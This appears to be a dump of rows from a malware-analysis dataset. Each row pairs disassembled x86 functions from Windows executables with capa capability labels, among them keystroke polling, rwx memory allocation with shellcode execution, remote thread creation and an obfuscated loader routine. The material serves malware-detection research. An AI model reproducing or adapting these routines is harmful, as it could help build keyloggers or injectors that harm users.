joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401360
Capabilities:
Get disk information
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x420b78
push eax
mov dword fs:[0], esp
mov eax, dword [0x846f4c]
sub esp, 0xc20
push ebx
push esi
push edi
cmp eax, 0x93
jne 0x401409
push 0
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
push 0
lea eax, [ebp - 0x42c]
push eax
push 0
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push 0
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
lea eax, [ebp - 0x2c]
call fcn.00401690
push 0x422b48
push 0
mov dword [ebp - 4], 0
call fcn.00401b86
call fcn.004017de
push 0
push 0
call fcn.00401ab7
push 0
push 0
call fcn.0040196d
push 0
push 0
call fcn.00401ab7
add esp, 0x20
push 0
call fcn.00401e48
mov edx, dword [0x427980]
add eax, 0x1134b
push eax
push 0
mov dword [0x8479b0], edx
mov dword [0x846f4c], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x846900], eax
call fcn.004012a0
xor esi, esi
cmp dword [0x846f4c], esi
jbe 0x40149a
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov ebx, dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
jmp 0x401450
mov eax, dword [0x8479b0]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x846900]
mov byte [edx + esi], cl
cmp dword [0x846f4c], 0x490
jne 0x401491
push 0
push 0
call ebx
push 0
lea eax, [ebp - 0x10]
push eax
call edi
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
inc esi
cmp esi, dword [0x846f4c]
jb 0x401450
mov edi, dword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor esi, esi
mov ecx, dword [0x846f4c]
add ecx, esi
cmp ecx, 0x8d
jne 0x4014d3
push 0
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push str.timalelitunomikemoleduke
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
inc esi
cmp esi, 0x38681
jl 0x4014a8
call fcn.00401200
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
lea esp, [esp]
push 0
call edi
cmp esi, 0x62
jne 0x4014fe
call fcn.00401280
inc esi
cmp esi, 0x674db
jl 0x4014f0
mov esi, dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
mov ebx, dword [sym.imp.KERNEL32.dll_CompareStringA]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x846f4c], 0x86
jne 0x401557
push 0
lea edx, [ebp - 0xc2c]
push edx
push 0
call esi
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
sub dword [ebp - 0x10], 1
jne 0x401520
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x846900]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401580
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
cmp dword [0x846f4c], 0x400
push esi
push edi
jne 0x4015a4
lea eax, [ebp - 0x24]
call fcn.00401660
lea esi, [ebp - 0x24]
call fcn.00401680
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
mov ebx, dword [ebp - 4]
xor esi, esi
call edi
cmp esi, 0x2af054
jle 0x4015c2
cmp ebx, 0x787e04e5
jne 0x4015cb
inc esi
cmp esi, 0x1d8b
jl 0x4015b0
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, esi
lea esp, [esp]
push 0
call edi
call ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp esi, 0x206d47
jg 0x4015fd
inc esi
cmp esi, 0x4f6a4
jl 0x4015e0
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
xor esi, esi
pop ebx
push 0
call edi
cmp esi, 0x2b2589
jg 0x40161b
inc esi
cmp esi, 0x118a7
jl 0x401606
mov eax, dword [0x4279ac]
mov dword [0x846f4c], eax
call fcn.00401360
mov esi, dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edi, 0x3078f
jmp 0x401640
cmp dword [0x846f4c], 0x51f
jne 0x401650
push 0
call esi
sub edi, 1
jne 0x401640
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4067a0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x424a68]
jne 0x4067aa
repz ret
jmp fcn.00409ccf
Function at 0x409746
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004037d6
and dword [ebp - 4], 0
cmp dword [0x429338], 0
mov ebx, eax
jne 0x4097f7
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4098a8
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4098a8
push eax
call fcn.00403764
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x429338], eax
call esi
push eax
call fcn.00403764
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42933c], eax
call esi
push eax
call fcn.00403764
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x429340], eax
call esi
push eax
call fcn.00403764
pop ecx
mov dword [0x429348], eax
test eax, eax
je 0x4097f7
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00403764
pop ecx
mov dword [0x429344], eax
mov eax, dword [0x429344]
cmp eax, ebx
je 0x40984f
cmp dword [0x429348], ebx
je 0x40984f
push eax
call fcn.004037df
push dword [0x429348]
mov esi, eax
call fcn.004037df
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40984f
test edi, edi
je 0x40984f
call esi
test eax, eax
je 0x409846
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x409846
test byte [ebp - 0xc], 1
jne 0x40984f
or dword [ebp + 0x10], 0x200000
jmp 0x409888
mov eax, dword [0x42933c]
cmp eax, ebx
je 0x409888
push eax
call fcn.004037df
pop ecx
test eax, eax
je 0x409888
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x409888
mov eax, dword [0x429340]
cmp eax, ebx
je 0x409888
push eax
call fcn.004037df
pop ecx
test eax, eax
je 0x409888
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x429338]
call fcn.004037df
pop ecx
test eax, eax
je 0x4098a8
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4098aa
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1c21983
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xc
mov eax, dword [0x1cf151c]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov edi, 0xd
call fcn.01c21a80
test al, al
je 0x1c21a6c
push 0
call fcn.01c4734c
add esp, 4
test eax, eax
je 0x1c21a42
mov esi, eax
mov eax, dword [eax]
mov edi, dword [eax + 0x18]
mov ecx, edi
call dword [section..00cfg]
mov ecx, esi
call edi
lea ecx, [ebp - 0x14]
mov dword [ecx], 0
mov eax, 0x40
push ecx
push eax
push eax
push section..crthunk
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1c21a49
push 0x1cd53d4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x18], eax
mov eax, dword [esi]
mov ebx, dword [eax + 4]
mov ecx, ebx
call dword [section..00cfg]
xor edi, edi
mov ecx, esi
push edi
push 0x40
push section..crthunk
push 0x1c21590
push edi
push str.NtMapViewOfSection
push sym.chrome_elf.dll_Ordinal_0
push dword [ebp - 0x18]
call ebx
test eax, eax
js 0x1c21a50
lea eax, [ebp - 0x14]
push eax
push 0x20
push 0x40
push section..crthunk
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x1c21a5a
mov edi, 0xe
jmp 0x1c21a6c
mov edi, 0xf
jmp 0x1c21a5a
mov dword [0x1d0bddc], eax
mov edi, 0x10
mov eax, dword [esi]
mov ebx, dword [eax]
mov ecx, ebx
call dword [section..00cfg]
mov ecx, esi
push 1
call ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.01caaec1
mov eax, edi
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1c23ae0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
push eax
push eax
push eax
push 0x1c4ebd0
push eax
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
pop ebp
ret

Function at 0x1c245be
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x30
mov esi, ecx
mov ebx, dword [ebp + 8]
mov eax, dword [0x1cf151c]
xor eax, ebp
mov dword [esp + 0x28], eax
xor edi, edi
push edi
call fcn.01c23ba4
mov dword [esi + 0x90], edi
mov dword [esi + 0x94], ebx
pcmpeqd xmm0, xmm0
mov ebx, esp
movdqa xmmword [ebx + 0x10], xmm0
movdqa xmmword [ebx], xmm0
mov dword [ebx + 0x20], 0xffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebx + 4]
mov ecx, dword [ebx + 0x1c]
cmp eax, ecx
cmovb eax, ecx
mov dword [esi + 0x98], eax
mov dword [esi + 0x9c], 0x10
mov dword [esi + 0xa0], 0x20
mov dword [esi + 0xa4], edi
lea eax, [esi + 4]
mov dword [esi + 4], edi
xor eax, 0xb37cc16a
mov dword [esi + 8], eax
mov dword [esi + 0xc], esi
pxor xmm0, xmm0
movdqu xmmword [esi + 0x14], xmm0
movdqu xmmword [esi + 0x24], xmm0
movdqu xmmword [esi + 0x34], xmm0
movdqu xmmword [esi + 0x44], xmm0
movdqu xmmword [esi + 0x54], xmm0
movdqu xmmword [esi + 0x64], xmm0
movdqu xmmword [esi + 0x74], xmm0
movdqu xmmword [esi + 0x80], xmm0
mov ecx, dword [esp + 0x28]
xor ecx, ebp
call fcn.01caaec1
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret 4

Function at 0x1c24fa8
Capabilities:
Encode data using xor
Hash data using murmur2

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov eax, dword [ebp + 8]
movzx ecx, byte [eax + 0xb]
mov esi, dword [eax]
mov edi, dword [eax + 4]
add edi, esi
mov edx, ecx
add edx, eax
test cl, cl
cmovs edx, edi
cmovs eax, esi
sub edx, eax
mov ecx, edx
cmp edx, 4
jb 0x1c24ff6
imul esi, dword [eax], 0x5bd1e995
mov edi, esi
shr edi, 0x18
xor edi, esi
imul esi, edi, 0x5bd1e995
imul ecx, ecx, 0x5bd1e995
xor ecx, esi
add eax, 4
add edx, 0xfffffffc
cmp edx, 3
ja 0x1c24fd0
cmp edx, 1
je 0x1c25017
cmp edx, 2
je 0x1c2500e
cmp edx, 3
jne 0x1c25022
movzx edx, byte [eax + 2]
shl edx, 0x10
xor ecx, edx
movzx edx, byte [eax + 1]
shl edx, 8
xor ecx, edx
movzx eax, byte [eax]
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
pop esi
pop edi
pop ebp
ret 4

Function at 0x1c28bdc
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, dword [ecx + 0x10]
test eax, eax
je 0x1c28bee
pop esi
pop edi
pop ebx
pop ebp
ret
mov edx, dword [ecx + 0xc]
test edx, edx
je 0x1c28c18
mov esi, dword [ecx + 4]
mov edi, dword [edx + 0x3c]
lea ebx, [edi + 0x18]
xor eax, eax
cmp ebx, esi
ja 0x1c28be9
add edx, edi
cmp dword [edx], 0x4550
jne 0x1c28be9
add edx, 4
mov dword [ecx + 0x10], edx
mov eax, edx
jmp 0x1c28be9
mov edx, dword [ecx]
xor eax, eax
test edx, edx
je 0x1c28be9
mov dword [ecx + 0xc], edx
mov esi, dword [ecx + 4]
cmp esi, 0x40
jb 0x1c28c36
movzx edi, word [edx]
cmp edi, 0x5a4d
je 0x1c28bf8
mov dword [ecx + 0xc], 0
jmp 0x1c28be9
Function at 0x1c2903e
Capabilities:
Encode data using xor
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x28
mov esi, ecx
xor edi, edi
push dword [esi + edi*4 + 0x28]
call fcn.01cb8705
add esp, 4
mov dword [esi + edi*4 + 0x28], eax
inc edi
cmp edi, 0x10
jne 0x1c2904b
xor eax, eax
mov ecx, dword [esi + eax*4 + 0x48]
xor ecx, dword [esi + eax*4 + 0x5c]
xor ecx, dword [esi + eax*4 + 0x30]
xor ecx, dword [esi + eax*4 + 0x28]
rol ecx, 1
mov dword [esi + eax*4 + 0x68], ecx
inc eax
cmp eax, 0x40
jne 0x1c29063
mov edi, dword [esi + 0x14]
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x20], eax
mov ecx, dword [esi + 0x1c]
mov eax, dword [esi + 0x20]
mov dword [ebp - 0x10], esi
mov edx, dword [esi + 0x24]
xor ebx, ebx
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ecx
mov esi, dword [ebp - 0x20]
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x18], edx
mov edx, dword [ebp - 0x1c]
mov esi, ecx
mov ecx, eax
mov eax, edi
rol eax, 5
cmp ebx, 0x14
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x1c], edi
jae 0x1c290e7
mov edi, edx
and edi, esi
add edi, eax
mov eax, edx
not eax
and eax, ecx
add edi, eax
add edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x10]
add edi, dword [eax + ebx*4 + 0x28]
mov ecx, 0x5a827999
jmp 0x1c2913c
cmp ebx, 0x28
jae 0x1c29105
mov edi, esi
xor edi, ecx
xor edi, edx
add edi, eax
add edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x10]
add edi, dword [eax + ebx*4 + 0x28]
mov ecx, 0x6ed9eba1
jmp 0x1c2913c
cmp ebx, 0x3b
ja 0x1c29125
mov edi, ecx
mov dword [ebp - 0x24], esi
mov ecx, dword [ebp - 0x24]
or ecx, edi
and ecx, edx
mov edi, dword [ebp - 0x24]
and edi, dword [ebp - 0x14]
or edi, ecx
mov ecx, 0x8f1bbcdc
jmp 0x1c29130
mov edi, esi
xor edi, ecx
xor edi, edx
mov ecx, 0xca62c1d6
add edi, eax
add edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x10]
add edi, dword [eax + ebx*4 + 0x28]
add edi, ecx
rol edx, 0x1e
inc ebx
mov eax, esi
mov ecx, edx
cmp ebx, 0x50
jne 0x1c290ab
mov ebx, dword [ebp - 0x10]
mov dword [ebx], edi
mov eax, dword [ebp - 0x28]
add eax, edi
mov dword [ebx + 0xc], esi
mov dword [ebx + 8], edx
mov edi, dword [ebp - 0x1c]
mov dword [ebx + 4], edi
mov ecx, dword [ebp - 0x14]
mov dword [ebx + 0x10], ecx
mov dword [ebx + 0x14], eax
mov eax, dword [ebp - 0x20]
add eax, edi
mov dword [ebx + 0x18], eax
mov eax, dword [ebp - 0x2c]
add eax, edx
mov dword [ebx + 0x1c], eax
mov eax, dword [ebp - 0x30]
add eax, esi
mov dword [ebx + 0x20], eax
mov eax, dword [ebp - 0x34]
add eax, ecx
mov dword [ebx + 0x24], eax
mov dword [ebx + 0x168], 0
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1c29660
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x10
lea esi, [ebp - 0x18]
mov dword [esi - 4], esp
mov dword [esi + 8], 0xffffffff
mov dword [esi + 4], 0x1c29710
mov eax, dword fs:[0]
mov dword [esi], eax
mov dword fs:[0], esi
call fcn.01cbc2ea
mov ecx, eax
call dword [section..00cfg]
mov dword [esi + 8], 1
call ecx
push 2
call fcn.01cafef4
add esp, 4
push eax
push 1
push 0x28
push str.terminate_handler_unexpectedly_returned_n
call fcn.01cc16ad
add esp, 0x10
call fcn.01cbd630
push ebp
sub esp, 0x10
add ebp, 0xc
call fcn.01cacce1
push ebp
sub esp, 0x10
add ebp, 0xc
mov dword [ebp - 0x1c], esp
push 2
call fcn.01cafef4
add esp, 4
push eax
push 1
push 0x32
push str.terminate_handler_unexpectedly_threw_an_exception_n
call fcn.01cc16ad
add esp, 0x10
call fcn.01cbd630

Function at 0x1c296cf
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x10
lea esi, [ebp - 0x18]
mov dword [esi - 4], esp
mov dword [esi + 8], 0xffffffff
mov dword [esi + 4], 0x1c29710
mov eax, dword fs:[0]
mov dword [esi], eax
mov dword fs:[0], esi
call fcn.01cbc2ea
mov ecx, eax
call dword [section..00cfg]
mov dword [esi + 8], 1
call ecx
push 2
call fcn.01cafef4
add esp, 4
push eax
push 1
push 0x28
push str.terminate_handler_unexpectedly_returned_n
call fcn.01cc16ad
add esp, 0x10
call fcn.01cbd630
push ebp
sub esp, 0x10
add ebp, 0xc
call fcn.01cacce1
push ebp
sub esp, 0x10
add ebp, 0xc
mov dword [ebp - 0x1c], esp
push 2
call fcn.01cafef4
add esp, 4
push eax
push 1
push 0x32
push str.terminate_handler_unexpectedly_threw_an_exception_n
call fcn.01cc16ad
add esp, 0x10
call fcn.01cbd630

Function at 0x1c2d1a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov dword [ebp - 0x20], ecx
mov eax, dword [0x1cf151c]
xor eax, ebp
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x10]
xor eax, eax
dec eax
mov dword [ecx - 4], eax
mov dword [ecx - 8], eax
mov edi, dword [ebp - 0x20]
mov dword [ebp - 0x1c], 0xffffffff
mov ebx, dword [edi + 0x24]
mov eax, dword [edi + 0x28]
mov dword [ebp - 0x24], eax
mov eax, dword [ebx]
mov esi, dword [eax + 0x10]
mov ecx, esi
call dword [section..00cfg]
mov ecx, ebx
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x24]
call esi
mov ebx, eax
mov esi, dword [ebp - 0x1c]
lea eax, [ebp - 0x18]
sub esi, eax
push dword [edi + 0x20]
push esi
push 1
push eax
call fcn.01cc16ad
add esp, 0x10
cmp eax, esi
jne 0x1c2d237
cmp ebx, 1
je 0x1c2d1c5
cmp ebx, 2
mov esi, 0xffffffff
je 0x1c2d23a
mov eax, dword [ebp - 0x20]
push dword [eax + 0x20]
call fcn.01cc118b
add esp, 4
xor esi, esi
neg eax
sbb esi, esi
jmp 0x1c2d23a
xor esi, esi
dec esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.01caaec1
mov eax, esi
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1c2d250
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 8
mov edi, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
cmp byte [ecx + 0x2c], 0
je 0x1c2d276
push dword [ecx + 0x20]
push edi
push 1
push eax
call fcn.01cc16ad
add esp, 0x18
jmp 0x1c2d2b8
test edi, edi
jle 0x1c2d2b1
mov dword [ebp - 0x10], ecx
xor edi, edi
mov esi, dword [ebp - 0x10]
movzx eax, byte [eax + edi]
mov dword [ebp - 0x14], eax
mov eax, dword [esi]
mov ebx, dword [eax + 0x30]
mov ecx, ebx
call dword [section..00cfg]
mov ecx, esi
push dword [ebp - 0x14]
call ebx
cmp eax, 0xffffffff
je 0x1c2d2b3
inc edi
mov edx, dword [ebp + 0xc]
cmp edx, edi
mov eax, dword [ebp + 8]
jne 0x1c2d282
mov edi, edx
jmp 0x1c2d2b3
xor edi, edi
mov eax, edi
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret 8

Function at 0x1c2d2c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x20
mov ebx, dword [ebp + 8]
mov eax, dword [0x1cf151c]
xor eax, ebp
mov dword [ebp - 0x10], eax
xor edi, edi
dec edi
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], edi
cmp ebx, edi
je 0x1c2d309
mov byte [ebp - 0x19], bl
cmp byte [ecx + 0x2c], 0
je 0x1c2d312
xor esi, esi
inc esi
lea eax, [ebp - 0x19]
push dword [ecx + 0x20]
push esi
push esi
push eax
call fcn.01cc16ad
add esp, 0x10
cmp eax, esi
je 0x1c2d30b
jmp 0x1c2d3b8
xor ebx, ebx
mov edi, ebx
jmp 0x1c2d3b8
lea eax, [ebp - 0x18]
lea edx, [ebp - 0x20]
mov dword [edx], eax
lea edi, [ebp - 0x19]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], 0xffffffff
mov esi, dword [ecx + 0x24]
mov eax, dword [ecx + 0x28]
mov dword [ebp - 0x2c], eax
mov eax, dword [esi]
mov ebx, dword [eax + 8]
mov ecx, ebx
call dword [section..00cfg]
mov ecx, esi
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x18]
push eax
push edi
push dword [ebp - 0x2c]
call ebx
cmp dword [ebp - 0x24], edi
je 0x1c2d3b5
mov ebx, eax
cmp eax, 3
je 0x1c2d395
cmp ebx, 1
ja 0x1c2d3b5
mov esi, dword [ebp - 0x20]
lea ecx, [ebp - 0x18]
sub esi, ecx
mov eax, dword [ebp - 0x28]
push dword [eax + 0x20]
push esi
push 1
push ecx
call fcn.01cc16ad
add esp, 0x10
cmp eax, esi
jne 0x1c2d3b5
mov edi, dword [ebp - 0x24]
cmp ebx, 1
mov ecx, dword [ebp - 0x28]
je 0x1c2d320
jmp 0x1c2d3ad
xor esi, esi
inc esi
mov eax, dword [ebp - 0x28]
push dword [eax + 0x20]
push esi
push esi
push edi
call fcn.01cc16ad
add esp, 0x10
cmp eax, esi
jne 0x1c2d3b5
mov ebx, dword [ebp + 8]
jmp 0x1c2d30b
xor edi, edi
dec edi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.01caaec1
mov eax, edi
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret 4
Function at 0x1c2d420
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 8
mov edi, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
cmp byte [ecx + 0x2c], 0
je 0x1c2d446
push dword [ecx + 0x20]
push edi
push 2
push eax
call fcn.01cc16ad
add esp, 0x18
jmp 0x1c2d489
test edi, edi
jle 0x1c2d482
mov dword [ebp - 0x10], ecx
xor edi, edi
mov esi, dword [ebp - 0x10]
movzx eax, word [eax + edi*2]
mov dword [ebp - 0x14], eax
mov eax, dword [esi]
mov ebx, dword [eax + 0x30]
mov ecx, ebx
call dword [section..00cfg]
mov ecx, esi
push dword [ebp - 0x14]
call ebx
cmp ax, 0xffff
je 0x1c2d484
inc edi
mov edx, dword [ebp + 0xc]
cmp edx, edi
mov eax, dword [ebp + 8]
jne 0x1c2d452
mov edi, edx
jmp 0x1c2d484
xor edi, edi
mov eax, edi
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret 8

Function at 0x1c2d490
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x20
movzx esi, word [ebp + 8]
mov eax, dword [0x1cf151c]
xor eax, ebp
mov dword [ebp - 0x10], eax
xor eax, eax
dec eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
cmp si, 0xffff
je 0x1c2d4dd
mov word [ebp - 0x1a], si
cmp byte [ecx + 0x2c], 0
je 0x1c2d4f5
lea eax, [ebp - 0x1a]
push dword [ecx + 0x20]
push 1
push 2
push eax
call fcn.01cc16ad
add esp, 0x10
cmp eax, 1
je 0x1c2d4df
xor esi, esi
dec esi
jmp 0x1c2d4df
xor esi, esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.01caaec1
mov eax, esi
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret 4
lea eax, [ebp - 0x18]
lea edx, [ebp - 0x20]
mov dword [edx], eax
lea edi, [ebp - 0x1a]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], 0xffffffff
mov esi, dword [ecx + 0x24]
mov eax, dword [ecx + 0x28]
mov dword [ebp - 0x2c], eax
mov eax, dword [esi]
mov ebx, dword [eax + 8]
mov ecx, ebx
call dword [section..00cfg]
mov ecx, esi
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x18]
push eax
push edi
push dword [ebp - 0x2c]
call ebx
cmp dword [ebp - 0x24], edi
je 0x1c2d4d8
mov ebx, eax
cmp eax, 3
je 0x1c2d57c
cmp ebx, 1
ja 0x1c2d4d8
mov esi, dword [ebp - 0x20]
lea ecx, [ebp - 0x18]
sub esi, ecx
mov eax, dword [ebp - 0x28]
push dword [eax + 0x20]
push esi
push 1
push ecx
call fcn.01cc16ad
add esp, 0x10
cmp eax, esi
jne 0x1c2d4d8
mov edi, dword [ebp - 0x24]
cmp ebx, 1
mov ecx, dword [ebp - 0x28]
je 0x1c2d503
jmp 0x1c2d598
xor esi, esi
inc esi
mov eax, dword [ebp - 0x28]
push dword [eax + 0x20]
push esi
push esi
push edi
call fcn.01cc16ad
add esp, 0x10
cmp eax, esi
jne 0x1c2d4d8
movzx esi, word [ebp + 8]
jmp 0x1c2d4df